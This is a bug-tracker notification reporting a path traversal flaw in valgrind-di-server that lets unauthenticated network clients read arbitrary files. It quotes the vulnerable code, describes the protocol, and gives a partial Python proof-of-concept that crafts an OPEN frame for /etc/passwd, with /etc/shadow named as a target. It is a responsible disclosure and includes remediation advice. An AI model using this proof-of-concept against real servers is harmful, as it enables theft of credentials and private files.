https://bugs.kde.org/show_bug.cgi?id=528432
Bug ID: 528432
Summary: Path Traversal in valgrind-di-server Allows
Unauthenticated Arbitrary File Read
Classification: Developer tools
Product: valgrind
Version First unspecified
Reported In:
Platform: Other
OS: All
Status: REPORTED
Severity: grave
Priority: NOR
Component: general
Assignee: [email protected]
Reporter: [email protected]
Target Milestone: ---
# Path Traversal in valgrind-di-server Allows Unauthenticated Arbitrary File
Read
**Product:** Valgrind
**Version:** HEAD (0ff27aa), all versions since initial di-server commit
(68c940393, 2013)
**Component:** auxprogs/valgrind-di-server.c
**CWE:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
**CVSS 3.1:** 7.5 (High) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
**Auth Required:** None (unauthenticated network access to port 1500)
## Summary
The Valgrind debug info server (`valgrind-di-server`) accepts a filename from
unauthenticated network clients via the OPEN protocol frame and passes it
directly to `open()` without any path validation. An attacker with network
access to the server's listening port (default TCP 1500, bound to INADDR_ANY)
can read any file readable by the server process by sending a crafted OPEN
frame containing an absolute path or path traversal sequences.
## Environment
- Valgrind HEAD commit 0ff27aa (sourceware.org/git/valgrind.git)
- All versions since initial di-server implementation (commit 68c940393, circa
2013)
- `valgrind-di-server` is installed as a bin_PROGRAM (Makefile.am line 48)
- Default listening port: TCP 1500 (INADDR_ANY -- all interfaces)
## Vulnerable Code
In `auxprogs/valgrind-di-server.c`, the OPEN frame handler at line 753-794:
```c
if (parse_Frame_asciiz(req, "OPEN", &filename)) {
Bool ok = True;
int fd = 0;
if (conn_state[conn_no].file_fd != 0) {
res = mk_Frame_asciiz("FAIL", "OPEN: already connected to file");
ok = False;
}
if (ok) {
assert(clo_serverpath);
fd = open((char*)filename, O_RDONLY); // <-- LINE 762: NO PATH
VALIDATION
```
The `filename` variable is extracted from the client's network frame by
`parse_Frame_asciiz()` and passed directly to `open()`. There is:
- No check for absolute paths (e.g., `/etc/shadow`)
- No check for path traversal sequences (e.g., `../../../etc/passwd`)
- No restriction to the configured `clo_serverpath` directory
- No authentication or authorization mechanism
- No encryption (adler32 checksum is trivially computable)
The `clo_serverpath` variable (line 120, default ".") is asserted non-NULL at
line 761 but **never used** to construct or validate the path. The intent was
clearly to restrict file access to a directory, but the implementation is
missing.
## Client-Side Check is Insufficient
The Valgrind client-side code (`coregrind/m_debuginfo/image.c` line 1012-1014)
does check for slashes:
```c
/* The filename must be a plain filename -- no slashes at all. */
if (VG_(strchr)(filename, '/') != NULL)
return NULL;
```
However, this check is only in the **client**. An attacker bypasses the client
entirely and sends crafted protocol frames directly to the server socket. The
server-side `parse_Frame_asciiz()` only validates NUL-termination (line 454),
not path content.
## Protocol Details
The wire protocol uses a simple frame format:
1. 8-byte header: 4-byte adler32 checksum + 4-byte length (little-endian)
2. Frame data: 4-byte ASCII tag + payload
For OPEN: tag = "OPEN", payload = NUL-terminated filename string.
After a successful OPEN, the client sends READ frames with (session_id, offset,
length) to retrieve file contents. The server reads the file with `pread()` and
returns the data LZO-compressed.
## Data Flow
```
Attacker -> TCP 1500 -> frame header (adler32 + len) -> frame data ("OPEN" +
"/etc/shadow\0")
-> parse_Frame_asciiz(req, "OPEN", &filename)
-> open((char*)filename, O_RDONLY) [NO PATH CHECK]
-> fstat() for file size
-> response: session_id + file_size
Attacker -> TCP 1500 -> "READ" + session_id + offset=0 + length=file_size
-> pread(fd, buf, length, offset)
-> LZO compress
-> response: compressed file contents
```
## Impact
- **Confidentiality:** An unauthenticated remote attacker can read any file on
the system that is readable by the valgrind-di-server process (typically
running as the user who started it)
- **Scope:** All sensitive files readable by the process owner, including SSH
keys, configuration files, application secrets, and potentially credential
files
- **Network exposure:** Server binds to INADDR_ANY (all interfaces) by default
- **No authentication:** The protocol uses only adler32 checksums (trivially
computable, not cryptographic)
## PoC Concept
```python
import socket
import struct
def adler32(data):
a, b = 1, 0
for byte in data:
a = (a + byte) % 65521
b = (b + a) % 65521
return (b << 16) | a
def mk_frame(tag, payload=b""):
data = tag.encode() + payload
length = len(data)
length_bytes = struct.pack("<I", length)
checksum_input = length_bytes + data
chk = adler32(checksum_input)
header = struct.pack("<II", chk, length)
return header + data
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("TARGET", 1500))
# Send OPEN frame with path traversal
sock.send(mk_frame("OPEN", b"/etc/passwd\x00"))
# ... recv response, parse session_id and file_size ...
# Send READ frame to retrieve file contents
# sock.send(mk_frame_le64x3("READ", session_id, 0, file_size))
# ... recv LZO-compressed file contents ...
```
## Remediation
The server should:
1. Reject filenames containing `/` or `..` (matching the client-side check)
2. Resolve the filename relative to `clo_serverpath` using `realpath()` and
verify the result is within the allowed directory
3. Consider adding authentication (e.g., a shared secret token in the VERS
handshake)
--
You are receiving this mail because:
You are watching all bug changes.